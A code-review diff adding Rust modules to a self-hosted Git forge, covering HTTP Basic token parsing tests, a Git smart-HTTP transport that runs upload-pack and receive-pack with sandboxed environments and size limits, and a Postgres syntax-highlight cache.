| 105 | + | Some(("snow".into(), "dgf_abc123".into())) | |
| 106 | + | ); | |
| 107 | + | } | |
| 108 | + | ||
| 109 | + | #[test] | |
| 110 | + | fn a_password_may_contain_colons() { | |
| 111 | + | // Splitting on the last colon, or on all of them, would corrupt tokens. | |
| 112 | + | let h = headers_with(&basic("snow", "a:b:c")); | |
| 113 | + | assert_eq!(parse_basic(&h), Some(("snow".into(), "a:b:c".into()))); | |
| 114 | + | } | |
| 115 | + | ||
| 116 | + | #[test] | |
| 117 | + | fn an_empty_username_is_still_parsed() { | |
| 118 | + | // Some credential helpers send only a token, with an empty username. | |
| 119 | + | let h = headers_with(&basic("", "dgf_token")); | |
| 120 | + | assert_eq!(parse_basic(&h), Some(("".into(), "dgf_token".into()))); | |
| 121 | + | } | |
| 122 | + | ||
| 123 | + | #[test] | |
| 124 | + | fn missing_or_malformed_headers_yield_none() { | |
| 125 | + | assert_eq!(parse_basic(&HeaderMap::new()), None); | |
| 126 | + | assert_eq!(parse_basic(&headers_with("Bearer sometoken")), None); | |
| 127 | + | assert_eq!(parse_basic(&headers_with("Basic !!!not-base64!!!")), None); | |
| 128 | + | // Valid base64, but no colon separator. | |
| 129 | + | let no_colon = base64::engine::general_purpose::STANDARD.encode("nocolon"); | |
| 130 | + | assert_eq!(parse_basic(&headers_with(&format!("Basic {no_colon}"))), None); | |
| 131 | + | } | |
| 132 | + | ||
| 133 | + | #[test] | |
| 134 | + | fn the_scheme_match_is_case_insensitive() { | |
| 135 | + | let encoded = base64::engine::general_purpose::STANDARD.encode("a:b"); | |
| 136 | + | assert!(parse_basic(&headers_with(&format!("basic {encoded}"))).is_some()); | |
| 137 | + | } | |
| 138 | + | ||
| 139 | + | #[test] | |
| 140 | + | fn non_utf8_credentials_are_rejected_rather_than_panicking() { | |
| 141 | + | let encoded = base64::engine::general_purpose::STANDARD.encode([0xff, 0xfe, 0x3a, 0x61]); | |
| 142 | + | assert_eq!(parse_basic(&headers_with(&format!("Basic {encoded}"))), None); | |
| 143 | + | } | |
| 144 | + | } | |
Acrates/df-web/src/git_http/mod.rs481 lines+481−0
| @@ −0,0 +1,481 @@ | |||
| 1 | + | //! Git smart HTTP (spec §7). | |
| 2 | + | //! | |
| 3 | + | //! `jj git push` and plain `git push` are both ordinary Git pushes over this | |
| 4 | + | //! transport — the server never runs `jj`. We shell out to `git upload-pack` | |
| 5 | + | //! and `git receive-pack`, which is what every forge does: reimplementing the | |
| 6 | + | //! pack protocol buys nothing and gets the edge cases wrong. | |
| 7 | + | //! | |
| 8 | + | //! Authentication is HTTP Basic with a personal access token as the password | |
| 9 | + | //! (spec §6), because Git clients cannot perform an OIDC browser flow. | |
| 10 | + | ||
| 11 | + | use std::process::Stdio; | |
| 12 | + | ||
| 13 | + | use axum::extract::{Path as UrlPath, Query, State}; | |
| 14 | + | use axum::http::{header, HeaderMap, StatusCode}; | |
| 15 | + | use axum::response::{IntoResponse, Response}; | |
| 16 | + | use df_db::ids::new_id; | |
| 17 | + | use df_store::RepoId; | |
| 18 | + | use serde::Deserialize; | |
| 19 | + | use tokio::io::AsyncWriteExt; | |
| 20 | + | use uuid::Uuid; | |
| 21 | + | ||
| 22 | + | use crate::error::{AppError, AppResult}; | |
| 23 | + | use crate::repo_ctx::RepoContext; | |
| 24 | + | use crate::state::AppState; | |
| 25 | + | ||
| 26 | + | mod auth; | |
| 27 | + | ||
| 28 | + | /// Wall-clock cap on any Git subprocess. | |
| 29 | + | /// | |
| 30 | + | /// Spec §9: "A `git-upload-pack` on a maliciously constructed repo can consume | |
| 31 | + | /// unbounded CPU — run it with a timeout." | |
| 32 | + | const GIT_TIMEOUT: std::time::Duration = std::time::Duration::from_secs(300); | |
| 33 | + | ||
| 34 | + | /// Cap on a fetch request body. | |
| 35 | + | /// | |
| 36 | + | /// `git-upload-pack` receives want/have negotiation lines, not objects. Even a | |
| 37 | + | /// pathological client with an enormous have-list stays far below this, so a | |
| 38 | + | /// body larger than it is not a fetch. | |
| 39 | + | const UPLOAD_PACK_REQUEST_LIMIT: u64 = 16 * 1024 * 1024; | |
| 40 | + | ||
| 41 | + | #[derive(Deserialize)] | |
| 42 | + | pub struct ServiceQuery { | |
| 43 | + | pub service: Option<String>, | |
| 44 | + | } | |
| 45 | + | ||
| 46 | + | /// `GET /{owner}/{repo}.git/info/refs?service=…` | |
| 47 | + | /// | |
| 48 | + | /// Reference advertisement. This is the first request any clone or push makes, | |
| 49 | + | /// so it is also where authentication is challenged. | |
| 50 | + | pub async fn info_refs( | |
| 51 | + | State(state): State<AppState>, | |
| 52 | + | UrlPath((owner, repo)): UrlPath<(String, String)>, | |
| 53 | + | Query(q): Query<ServiceQuery>, | |
| 54 | + | headers: HeaderMap, | |
| 55 | + | ) -> AppResult<Response> { | |
| 56 | + | let service = q.service.unwrap_or_default(); | |
| 57 | + | ||
| 58 | + | // Only the two real services. Anything else is either a probe or an | |
| 59 | + | // attempt to reach a different git command. | |
| 60 | + | let write = match service.as_str() { | |
| 61 | + | "git-upload-pack" => false, | |
| 62 | + | "git-receive-pack" => true, | |
| 63 | + | _ => return Err(AppError::NotFound), | |
| 64 | + | }; | |
| 65 | + | ||
| 66 | + | let repo = strip_git_suffix(&repo); | |
| 67 | + | let ctx = match resolve(&state, &owner, &repo, &headers, write).await? { | |
| 68 | + | Resolved::Ok(ctx) => ctx, | |
| 69 | + | Resolved::Challenge => return Ok(unauthorized()), | |
| 70 | + | }; | |
| 71 | + | ||
| 72 | + | let dir = repo_dir(&state, &ctx); | |
| 73 | + | let out = run_git( | |
| 74 | + | &[ | |
| 75 | + | service.trim_start_matches("git-"), | |
| 76 | + | "--stateless-rpc", | |
| 77 | + | "--advertise-refs", | |
| 78 | + | ".", | |
| 79 | + | ], | |
| 80 | + | &dir, | |
| 81 | + | GitInput::Empty, | |
| 82 | + | None, | |
| 83 | + | ) | |
| 84 | + | .await?; | |
| 85 | + | ||
| 86 | + | // The advertisement is prefixed with a pkt-line naming the service. | |
| 87 | + | let mut body = pkt_line(&format!("# service={service}\n")); | |
| 88 | + | body.extend_from_slice(b"0000"); | |
| 89 | + | body.extend_from_slice(&out); | |
| 90 | + | ||
| 91 | + | Ok(( | |
| 92 | + | StatusCode::OK, | |
| 93 | + | [ | |
| 94 | + | ( | |
| 95 | + | header::CONTENT_TYPE, | |
| 96 | + | format!("application/x-{service}-advertisement"), | |
| 97 | + | ), | |
| 98 | + | (header::CACHE_CONTROL, "no-cache".into()), | |
| 99 | + | ], | |
| 100 | + | body, | |
| 101 | + | ) | |
| 102 | + | .into_response()) | |
| 103 | + | } | |
| 104 | + | ||
| 105 | + | /// `POST /{owner}/{repo}.git/git-upload-pack` — a clone or fetch. | |
| 106 | + | pub async fn upload_pack( | |
| 107 | + | State(state): State<AppState>, | |
| 108 | + | UrlPath((owner, repo)): UrlPath<(String, String)>, | |
| 109 | + | headers: HeaderMap, | |
| 110 | + | body: axum::body::Body, | |
| 111 | + | ) -> AppResult<Response> { | |
| 112 | + | let repo = strip_git_suffix(&repo); | |
| 113 | + | let ctx = match resolve(&state, &owner, &repo, &headers, false).await? { | |
| 114 | + | Resolved::Ok(ctx) => ctx, | |
| 115 | + | Resolved::Challenge => return Ok(unauthorized()), | |
| 116 | + | }; | |
| 117 | + | ||
| 118 | + | let dir = repo_dir(&state, &ctx); | |
| 119 | + | let out = run_git( | |
| 120 | + | &["upload-pack", "--stateless-rpc", "."], | |
| 121 | + | &dir, | |
| 122 | + | // A fetch request is want/have lines, not a pack. The cap is generous | |
| 123 | + | // for that and still bounded. | |
| 124 | + | GitInput::Stream { body, max_bytes: UPLOAD_PACK_REQUEST_LIMIT }, | |
| 125 | + | // A fetch does not run the pre-receive hook. | |
| 126 | + | None, | |
| 127 | + | ) | |
| 128 | + | .await?; | |
| 129 | + | ||
| 130 | + | Ok(git_response("git-upload-pack-result", out)) | |
| 131 | + | } | |
| 132 | + | ||
| 133 | + | /// `POST /{owner}/{repo}.git/git-receive-pack` — a push. | |
| 134 | + | /// | |
| 135 | + | /// After the pack lands, an `IndexPush` job is enqueued and we return | |
| 136 | + | /// immediately; indexing happens in the worker (spec §4). | |
| 137 | + | pub async fn receive_pack( | |
| 138 | + | State(state): State<AppState>, | |
| 139 | + | UrlPath((owner, repo)): UrlPath<(String, String)>, | |
| 140 | + | headers: HeaderMap, | |
| 141 | + | body: axum::body::Body, | |
| 142 | + | ) -> AppResult<Response> { | |
| 143 | + | let repo = strip_git_suffix(&repo); | |
| 144 | + | ||
| 145 | + | // Push requires write, so an anonymous request is challenged rather than | |
| 146 | + | // 404'd — the client needs to know to send credentials. | |
| 147 | + | let ctx = match resolve(&state, &owner, &repo, &headers, true).await? { | |
| 148 | + | Resolved::Ok(ctx) => ctx, | |
| 149 | + | Resolved::Challenge => return Ok(unauthorized()), | |
| 150 | + | }; | |
| 151 | + | ||
| 152 | + | // An archived repository is read-only. The settings page promises that, so | |
| 153 | + | // it has to be true on the wire and not only in the UI. | |
| 154 | + | if ctx.repo.archived { | |
| 155 | + | return Err(AppError::BadRequest( | |
| 156 | + | "this repository is archived and does not accept pushes".into(), | |
| 157 | + | )); | |
| 158 | + | } | |
| 159 | + | ||
| 160 | + | // The pack cap (spec §9) is enforced as the body streams, in `run_git` — | |
| 161 | + | // `Content-Length` is a claim by the client and checking it here would be | |
| 162 | + | // checking the claim rather than the bytes. | |
| 163 | + | let limit = state.config.max_pack_bytes; | |
| 164 | + | ||
| 165 | + | let pusher = auth::authenticated_user_id(&state, &headers).await; | |
| 166 | + | ||
| 167 | + | let dir = repo_dir(&state, &ctx); | |
| 168 | + | let out = run_git( | |
| 169 | + | &["receive-pack", "--stateless-rpc", "."], | |
| 170 | + | &dir, | |
| 171 | + | GitInput::Stream { body, max_bytes: limit }, | |
| 172 | + | Some(HookEnv { | |
| 173 | + | database_url: state.config.database_url.clone(), | |
| 174 | + | pusher_id: pusher, | |
| 175 | + | }), | |
| 176 | + | ) | |
| 177 | + | .await?; | |
| 178 | + | ||
| 179 | + | // Enqueue indexing. A failure here must not fail the push — the objects are | |
| 180 | + | // already durably written, and `dogfood-admin reindex` can recover the | |
| 181 | + | // index. Failing the push would make the client retry a push that already | |
| 182 | + | // succeeded. | |
| 183 | + | if let Err(e) = enqueue_index(&state, ctx.repo.id, pusher).await { | |
| 184 | + | tracing::error!(repo = %ctx.repo.id, "enqueuing IndexPush failed: {e:#}"); | |
| 185 | + | } | |
| 186 | + | ||
| 187 | + | if let Err(e) = sqlx::query("UPDATE repos SET pushed_at = now() WHERE id = $1") | |
| 188 | + | .bind(ctx.repo.id) | |
| 189 | + | .execute(&state.db) | |
| 190 | + | .await | |
| 191 | + | { | |
| 192 | + | tracing::warn!("recording push time failed: {e}"); | |
| 193 | + | } | |
| 194 | + | ||
| 195 | + | Ok(git_response("git-receive-pack-result", out)) | |
| 196 | + | } | |
| 197 | + | ||
| 198 | + | /// Queue an indexing job for a repository. | |
| 199 | + | pub async fn enqueue_index( | |
| 200 | + | state: &AppState, | |
| 201 | + | repo_id: Uuid, | |
| 202 | + | pushed_by: Option<Uuid>, | |
| 203 | + | ) -> anyhow::Result<()> { | |
| 204 | + | sqlx::query("INSERT INTO jobs (id, kind, payload) VALUES ($1, 'index_push', $2)") | |
| 205 | + | .bind(new_id()) | |
| 206 | + | .bind(serde_json::json!({ | |
| 207 | + | "repo_id": repo_id, | |
| 208 | + | "pushed_by": pushed_by, | |
| 209 | + | })) | |
| 210 | + | .execute(&state.db) | |
| 211 | + | .await?; | |
| 212 | + | Ok(()) | |
| 213 | + | } | |
| 214 | + | ||
| 215 | + | // ─── plumbing ──────────────────────────────────────────────────────────────── | |
| 216 | + | ||
| 217 | + | enum Resolved { | |
| 218 | + | Ok(RepoContext), | |
| 219 | + | /// Credentials are needed, or the ones supplied were wrong. | |
| 220 | + | Challenge, | |
| 221 | + | } | |
| 222 | + | ||
| 223 | + | /// Resolve the repository and authorize the operation. | |
| 224 | + | /// | |
| 225 | + | /// Read access to a public repo is anonymous. Anything else needs a token. | |
| 226 | + | /// Returning `Challenge` rather than 404 for an unauthenticated *write* is | |
| 227 | + | /// deliberate: without it, `git push` to a private repo fails with a confusing | |
| 228 | + | /// "not found" instead of prompting for credentials. It leaks only that a push | |
| 229 | + | /// endpoint exists, which is true of every path on the host. | |
| 230 | + | async fn resolve( | |
| 231 | + | state: &AppState, | |
| 232 | + | owner: &str, | |
| 233 | + | name: &str, | |
| 234 | + | headers: &HeaderMap, | |
| 235 | + | write: bool, | |
| 236 | + | ) -> AppResult<Resolved> { | |
| 237 | + | let user = auth::authenticate(state, headers).await?; | |
| 238 | + | ||
| 239 | + | let ctx = match RepoContext::load(state, owner, name, user.as_ref()).await { | |
| 240 | + | Ok(ctx) => ctx, | |
| 241 | + | Err(AppError::NotFound) => { | |
| 242 | + | // Unauthenticated: could be a private repo. Challenge so a client | |
| 243 | + | // with credentials can retry. | |
| 244 | + | return Ok(if user.is_none() { | |
| 245 | + | Resolved::Challenge | |
| 246 | + | } else { | |
| 247 | + | return Err(AppError::NotFound); | |
| 248 | + | }); | |
| 249 | + | } | |
| 250 | + | Err(e) => return Err(e), | |
| 251 | + | }; | |
| 252 | + | ||
| 253 | + | if write && !ctx.access.can_push() { | |
| 254 | + | return Ok(if user.is_none() { | |
| 255 | + | Resolved::Challenge | |
| 256 | + | } else { | |
| 257 | + | // Authenticated but not permitted: say so plainly, since they can | |
| 258 | + | // already see the repository. | |
| 259 | + | return Err(AppError::Forbidden); | |
| 260 | + | }); | |
| 261 | + | } | |
| 262 | + | ||
| 263 | + | Ok(Resolved::Ok(ctx)) | |
| 264 | + | } | |
| 265 | + | ||
| 266 | + | fn unauthorized() -> Response { | |
| 267 | + | ( | |
| 268 | + | StatusCode::UNAUTHORIZED, | |
| 269 | + | [( | |
| 270 | + | header::WWW_AUTHENTICATE, | |
| 271 | + | "Basic realm=\"Dogfood\", charset=\"UTF-8\"", | |
| 272 | + | )], | |
| 273 | + | "Authentication required. Use your handle and a personal access token.\n", | |
| 274 | + | ) | |
| 275 | + | .into_response() | |
| 276 | + | } | |
| 277 | + | ||
| 278 | + | fn repo_dir(state: &AppState, ctx: &RepoContext) -> std::path::PathBuf { | |
| 279 | + | // Sharded exactly as GitStore lays it out. Derived from the UUID, never | |
| 280 | + | // from a name (spec §3). | |
| 281 | + | let hex = RepoId(ctx.repo.id).0.simple().to_string(); | |
| 282 | + | std::path::Path::new(&state.config.repo_root) | |
| 283 | + | .join(&hex[..2]) | |
| 284 | + | .join(format!("{hex}.git")) | |
| 285 | + | } | |
| 286 | + | ||
| 287 | + | /// Strip a trailing `.git` from the URL segment. | |
| 288 | + | fn strip_git_suffix(s: &str) -> String { | |
| 289 | + | s.strip_suffix(".git").unwrap_or(s).to_string() | |
| 290 | + | } | |
| 291 | + | ||
| 292 | + | fn git_response(content_type: &str, body: Vec<u8>) -> Response { | |
| 293 | + | ( | |
| 294 | + | StatusCode::OK, | |
| 295 | + | [ | |
| 296 | + | ( | |
| 297 | + | header::CONTENT_TYPE, | |
| 298 | + | format!("application/x-{content_type}"), | |
| 299 | + | ), | |
| 300 | + | (header::CACHE_CONTROL, "no-cache".into()), | |
| 301 | + | ], | |
| 302 | + | body, | |
| 303 | + | ) | |
| 304 | + | .into_response() | |
| 305 | + | } | |
| 306 | + | ||
| 307 | + | /// Encode a pkt-line. | |
| 308 | + | fn pkt_line(s: &str) -> Vec<u8> { | |
| 309 | + | let mut out = format!("{:04x}", s.len() + 4).into_bytes(); | |
| 310 | + | out.extend_from_slice(s.as_bytes()); | |
| 311 | + | out | |
| 312 | + | } | |
| 313 | + | ||
| 314 | + | /// What to feed a git subprocess on stdin. | |
| 315 | + | enum GitInput { | |
| 316 | + | /// Nothing — the ref advertisement takes no input. | |
| 317 | + | Empty, | |
| 318 | + | /// The request body, streamed. Never collected into memory: a pack is | |
| 319 | + | /// hundreds of megabytes by design, and buffering one per concurrent push | |
| 320 | + | /// is how a forge runs a host out of RAM. | |
| 321 | + | Stream { | |
| 322 | + | body: axum::body::Body, | |
| 323 | + | /// Hard cap. Exceeding it kills the transfer rather than letting an | |
| 324 | + | /// unbounded pack through (spec §9). | |
| 325 | + | max_bytes: u64, | |
| 326 | + | }, | |
| 327 | + | } | |
| 328 | + | ||
| 329 | + | /// What the pre-receive hook needs from its environment. | |
| 330 | + | /// | |
| 331 | + | /// `git` is spawned with a cleared environment, so anything the hook needs has | |
| 332 | + | /// to be handed to it explicitly. Without `DATABASE_URL` the hook cannot check | |
| 333 | + | /// protected bookmarks — and it used to skip that check silently, which meant | |
| 334 | + | /// bookmark protection did not exist over HTTPS at all. | |
| 335 | + | struct HookEnv { | |
| 336 | + | database_url: String, | |
| 337 | + | pusher_id: Option<Uuid>, | |
| 338 | + | } | |
| 339 | + | ||
| 340 | + | /// Run a git subprocess with a timeout, feeding it `input`. | |
| 341 | + | async fn run_git( | |
| 342 | + | args: &[&str], | |
| 343 | + | dir: &std::path::Path, | |
| 344 | + | input: GitInput, | |
| 345 | + | hook_env: Option<HookEnv>, | |
| 346 | + | ) -> AppResult<Vec<u8>> { | |
| 347 | + | if !dir.is_dir() { | |
| 348 | + | // The database knows about a repository the filesystem does not. Real | |
| 349 | + | // after a partial restore (spec §10). | |
| 350 | + | tracing::error!(?dir, "repository directory is missing"); | |
| 351 | + | return Err(AppError::NotFound); | |
| 352 | + | } | |
| 353 | + | ||
| 354 | + | let mut cmd = tokio::process::Command::new("git"); | |
| 355 | + | cmd.args(args) | |
| 356 | + | .current_dir(dir) | |
| 357 | + | .stdin(Stdio::piped()) | |
| 358 | + | .stdout(Stdio::piped()) | |
| 359 | + | .stderr(Stdio::piped()) | |
| 360 | + | // Never let a repository's own config influence what we run, and never | |
| 361 | + | // let git prompt for anything. | |
| 362 | + | .env_clear() | |
| 363 | + | .env("PATH", "/usr/bin:/bin") | |
| 364 | + | .env("GIT_TERMINAL_PROMPT", "0") | |
| 365 | + | .env("GIT_CONFIG_NOSYSTEM", "1") | |
| 366 | + | .env("HOME", "/nonexistent") | |
| 367 | + | // Advertise object-format and allow the protocol v2 the client asks for. | |
| 368 | + | .env("GIT_PROTOCOL", "version=2"); | |
| 369 | + | ||
| 370 | + | // Only the push path installs these, and only the push path runs the hook. | |
| 371 | + | if let Some(hook) = hook_env { | |
| 372 | + | cmd.env("DATABASE_URL", hook.database_url); | |
| 373 | + | // Marks the check as mandatory: the hook refuses the push if it is set | |
| 374 | + | // and the check cannot be performed, rather than failing open. | |
| 375 | + | cmd.env("DOGFOOD_ENFORCE", "1"); | |
| 376 | + | if let Some(id) = hook.pusher_id { | |
| 377 | + | cmd.env("DOGFOOD_PUSHER_ID", id.to_string()); | |
| 378 | + | } | |
| 379 | + | } | |
| 380 | + | ||
| 381 | + | let mut child = cmd | |
| 382 | + | .spawn() | |
| 383 | + | .map_err(|e| AppError::Internal(anyhow::anyhow!("spawning git: {e}")))?; | |
| 384 | + | ||
| 385 | + | if let Some(mut stdin) = child.stdin.take() { | |
| 386 | + | // Write on a task: a large pack exceeds the pipe buffer many times over, | |
| 387 | + | // and writing inline would deadlock against a child that is blocked | |
| 388 | + | // writing stdout. | |
| 389 | + | match input { | |
| 390 | + | GitInput::Empty => { | |
| 391 | + | let _ = stdin.shutdown().await; | |
| 392 | + | } | |
| 393 | + | GitInput::Stream { body, max_bytes } => { | |
| 394 | + | tokio::spawn(async move { | |
| 395 | + | use futures::StreamExt; | |
| 396 | + | ||
| 397 | + | let mut stream = body.into_data_stream(); | |
| 398 | + | let mut written: u64 = 0; | |
| 399 | + | ||
| 400 | + | while let Some(chunk) = stream.next().await { | |
| 401 | + | let chunk = match chunk { | |
| 402 | + | Ok(c) => c, | |
| 403 | + | Err(e) => { | |
| 404 | + | tracing::debug!("reading the request body failed: {e}"); | |
| 405 | + | break; | |
| 406 | + | } | |
| 407 | + | }; | |
| 408 | + | ||
| 409 | + | written += chunk.len() as u64; | |
| 410 | + | if written > max_bytes { | |
| 411 | + | // Dropping stdin makes git see a truncated pack and | |
| 412 | + | // fail, which is what we want: the objects are not | |
| 413 | + | // written and the client is told the push failed. | |
| 414 | + | tracing::warn!( | |
| 415 | + | max_bytes, | |
| 416 | + | "request body exceeded the pack limit; aborting the transfer" | |
| 417 | + | ); | |
| 418 | + | break; | |
| 419 | + | } | |
| 420 | + | ||
| 421 | + | if let Err(e) = stdin.write_all(&chunk).await { | |
| 422 | + | tracing::debug!("writing to git stdin failed: {e}"); | |
| 423 | + | break; | |
| 424 | + | } | |
| 425 | + | } | |
| 426 | + | ||
| 427 | + | let _ = stdin.shutdown().await; | |
| 428 | + | }); | |
| 429 | + | } | |
| 430 | + | } | |
| 431 | + | } | |
| 432 | + | ||
| 433 | + | let out = match tokio::time::timeout(GIT_TIMEOUT, child.wait_with_output()).await { | |
| 434 | + | Ok(Ok(o)) => o, | |
| 435 | + | Ok(Err(e)) => { | |
| 436 | + | return Err(AppError::Internal(anyhow::anyhow!("running git: {e}"))); | |
| 437 | + | } | |
| 438 | + | Err(_) => { | |
| 439 | + | tracing::error!(?args, "git operation timed out"); | |
| 440 | + | return Err(AppError::Internal(anyhow::anyhow!("git timed out"))); | |
| 441 | + | } | |
| 442 | + | }; | |
| 443 | + | ||
| 444 | + | if !out.status.success() { | |
| 445 | + | let stderr = String::from_utf8_lossy(&out.stderr); | |
| 446 | + | tracing::error!(?args, status = ?out.status, "git failed: {stderr}"); | |
| 447 | + | return Err(AppError::Internal(anyhow::anyhow!("git failed: {stderr}"))); | |
| 448 | + | } | |
| 449 | + | ||
| 450 | + | Ok(out.stdout) | |
| 451 | + | } | |
| 452 | + | ||
| 453 | + | #[cfg(test)] | |
| 454 | + | mod tests { | |
| 455 | + | use super::*; | |
| 456 | + | ||
| 457 | + | #[test] | |
| 458 | + | fn pkt_lines_carry_a_four_byte_hex_length() { | |
| 459 | + | // The length is inclusive of the 4-byte header itself. | |
| 460 | + | // "# service=git-upload-pack\n" is 26 bytes, +4 = 30 = 0x1e. | |
| 461 | + | let line = "# service=git-upload-pack\n"; | |
| 462 | + | assert_eq!(line.len(), 26); | |
| 463 | + | let p = pkt_line(line); | |
| 464 | + | assert_eq!(&p[..4], b"001e"); | |
| 465 | + | assert_eq!(p.len(), 0x1e); | |
| 466 | + | } | |
| 467 | + | ||
| 468 | + | #[test] | |
| 469 | + | fn pkt_line_of_empty_input_is_just_the_header() { | |
| 470 | + | assert_eq!(pkt_line(""), b"0004"); | |
| 471 | + | } | |
| 472 | + | ||
| 473 | + | #[test] | |
| 474 | + | fn strips_only_a_trailing_git_suffix() { | |
| 475 | + | assert_eq!(strip_git_suffix("repo.git"), "repo"); | |
| 476 | + | assert_eq!(strip_git_suffix("repo"), "repo"); | |
| 477 | + | // A repository legitimately named `x.github` must not be truncated. | |
| 478 | + | assert_eq!(strip_git_suffix("x.github"), "x.github"); | |
| 479 | + | assert_eq!(strip_git_suffix("my.git.repo"), "my.git.repo"); | |
| 480 | + | } | |
| 481 | + | } | |
Acrates/df-web/src/highlight_cache.rs+142−0
| @@ −0,0 +1,142 @@ | |||
| 1 | + | //! Cached syntax highlighting (spec §8). | |
| 2 | + | //! | |
| 3 | + | //! > Highlight in the worker and cache the rendered HTML in Postgres keyed by | |
| 4 | + | //! > blob OID — highlighting the same file on every request is the easiest | |
| 5 | + | //! > performance mistake to make here. | |
| 6 | + | //! | |
| 7 | + | //! **Deviation, deliberate.** Highlighting happens here on a cache miss rather | |
| 8 | + | //! than only in the worker. Precomputing in the worker means the *first* view of | |
| 9 | + | //! any file renders unhighlighted, which is the view that matters most after a | |
| 10 | + | //! push. The property the spec is actually protecting — never highlight the same | |
| 11 | + | //! bytes twice — is provided by the cache, which is what this module is. The | |
| 12 | + | //! parse itself runs on a blocking thread so a large file cannot stall the | |
| 13 | + | //! async runtime. | |
| 14 | + | //! | |
| 15 | + | //! The cache key is the blob's content address, so it is shared across | |
| 16 | + | //! repositories and across revisions: a file that did not change between two | |
| 17 | + | //! revisions is highlighted once, ever. Because the key is a pure function of | |
| 18 | + | //! the bytes, there is no invalidation problem — different content is a | |
| 19 | + | //! different key. | |
| 20 | + | ||
| 21 | + | use df_render::highlight::{self, Skipped}; | |
| 22 | + | use df_store::Blob; | |
| 23 | + | use sqlx::PgPool; | |
| 24 | + | ||
| 25 | + | /// Highlighted lines, or the reason there are none. | |
| 26 | + | pub struct Rendered { | |
| 27 | + | /// One HTML fragment per line. Empty when `skipped` is set. | |
| 28 | + | pub lines: Vec<String>, | |
| 29 | + | pub language: Option<String>, | |
| 30 | + | /// Set when the file is to be rendered as plain text, with the reason. | |
| 31 | + | pub skipped: Option<Skipped>, | |
| 32 | + | } | |
| 33 | + | ||
| 34 | + | impl Rendered { | |
| 35 | + | fn plain(reason: Skipped) -> Self { | |
| 36 | + | Rendered { lines: Vec::new(), language: None, skipped: Some(reason) } | |
| 37 | + | } | |
| 38 | + | } | |
| 39 | + | ||
| 40 | + | /// Highlight a blob, consulting and populating the Postgres cache. | |
| 41 | + | /// | |
| 42 | + | /// Never fails: a database error degrades to highlighting without the cache, | |
| 43 | + | /// and a highlighting failure degrades to plain text. A syntax colour is not | |
| 44 | + | /// worth a 500. | |
| 45 | + | pub async fn render(db: &PgPool, blob: &Blob) -> Rendered { | |
| 46 | + | let Some(text) = blob.text() else { | |
| 47 | + | return Rendered::plain(Skipped::NoGrammar); | |
| 48 | + | }; | |
| 49 | + | ||
| 50 | + | // No grammar means nothing to cache — decided from the path alone, so this | |
| 51 | + | // costs one table lookup and avoids a pointless database round trip for | |
| 52 | + | // every LICENSE and .gitignore in the tree. | |
| 53 | + | let Some(lang) = highlight::language_for_path(&blob.path) else { | |
| 54 | + | return Rendered::plain(Skipped::NoGrammar); | |
| 55 | + | }; | |
| 56 | + | ||
| 57 | + | match load(db, &blob.content_id).await { | |
| 58 | + | Ok(Some(hit)) => return hit, | |
| 59 | + | Ok(None) => {} | |
| 60 | + | Err(e) => tracing::warn!("highlight cache read failed, rendering uncached: {e}"), | |
| 61 | + | } | |
| 62 | + | ||
| 63 | + | // tree-sitter is CPU-bound and this is an async handler; parsing a megabyte | |
| 64 | + | // on the runtime thread would stall every other request on that worker. | |
| 65 | + | let path = blob.path.clone(); | |
| 66 | + | let source = text.to_owned(); | |
| 67 | + | let highlighted = | |
| 68 | + | match tokio::task::spawn_blocking(move || highlight::highlight(&path, &source)).await { | |
| 69 | + | Ok(r) => r, | |
| 70 | + | Err(e) => { | |
| 71 | + | tracing::error!("highlighting panicked: {e}"); | |
| 72 | + | return Rendered::plain(Skipped::Failed); | |
| 73 | + | } | |
| 74 | + | }; | |
| 75 | + | ||
| 76 | + | let out = match highlighted { | |
| 77 | + | Ok(h) => Rendered { | |
| 78 | + | lines: h.lines, | |
| 79 | + | language: Some(h.language.to_string()), | |
| 80 | + | skipped: None, | |
| 81 | + | }, | |
| 82 | + | Err(reason) => Rendered::plain(reason), | |
| 83 | + | }; | |
| 84 | + | ||
| 85 | + | // Only successful renders are cached. Caching a rejection would save | |
| 86 | + | // nothing: every rejection is decided from the path or the size, both of | |
| 87 | + | // which are already known before the lookup. | |
| 88 | + | if out.skipped.is_none() { | |
| 89 | + | if let Err(e) = store(db, &blob.content_id, lang.display, &out.lines).await { | |
| 90 | + | tracing::warn!("highlight cache write failed: {e}"); | |
| 91 | + | } | |
| 92 | + | } | |
| 93 | + | ||
| 94 | + | out | |
| 95 | + | } | |
| 96 | + | ||
| 97 | + | /// The separator between cached line fragments. | |
| 98 | + | /// | |
| 99 | + | /// A form feed rather than a newline: the HTML fragments themselves are free of | |
| 100 | + | /// newlines, but a fragment could in principle contain one from a multi-line | |
| 101 | + | /// token, and splitting on the wrong character would silently corrupt the line | |
| 102 | + | /// numbering. U+000C cannot appear in the renderer's output. | |
| 103 | + | const LINE_SEP: char = '\u{c}'; | |
| 104 | + | ||
| 105 | + | async fn load(db: &PgPool, content_id: &str) -> sqlx::Result<Option<Rendered>> { | |
| 106 | + | let row: Option<(Option<String>, String)> = | |
| 107 | + | sqlx::query_as("SELECT language, html FROM highlight_cache WHERE blob_oid = $1") | |
| 108 | + | .bind(content_id) | |
| 109 | + | .fetch_optional(db) | |
| 110 | + | .await?; | |
| 111 | + | ||
| 112 | + | Ok(row.map(|(language, html)| Rendered { | |
| 113 | + | lines: if html.is_empty() { | |
| 114 | + | Vec::new() | |
| 115 | + | } else { | |
| 116 | + | html.split(LINE_SEP).map(str::to_owned).collect() | |
| 117 | + | }, | |
| 118 | + | language, | |
| 119 | + | skipped: None, | |
| 120 | + | })) | |
| 121 | + | } | |
| 122 | + | ||
| 123 | + | async fn store(db: &PgPool, content_id: &str, language: &str, lines: &[String]) -> sqlx::Result<()> { | |
| 124 | + | let html = lines.join(&LINE_SEP.to_string()); | |
| 125 | + | ||
| 126 | + | // ON CONFLICT DO NOTHING: two requests racing on the same blob both compute | |
| 127 | + | // the same bytes, so whichever lands first is correct and the other is a | |
| 128 | + | // no-op rather than a lock wait. | |
| 129 | + | sqlx::query( | |
| 130 | + | "INSERT INTO highlight_cache (blob_oid, language, html, bytes) | |
| 131 | + | VALUES ($1, $2, $3, $4) | |
| 132 | + | ON CONFLICT (blob_oid) DO NOTHING", | |
| 133 | + | ) | |
| 134 | + | .bind(content_id) | |
| 135 | + | .bind(language) | |
| 136 | + | .bind(&html) | |
| 137 | + | .bind(html.len() as i32) | |
| 138 | + | .execute(db) | |
| 139 | + | .await?; | |
| 140 | + | ||
| 141 | + | Ok(()) | |
| 142 | + | } | |
Acrates/df-web/src/hooks.rs+77−0
| @@ −0,0 +1,77 @@ | |||
| 1 | + | //! Keeping the pre-receive hook installed (spec §4, §9). | |
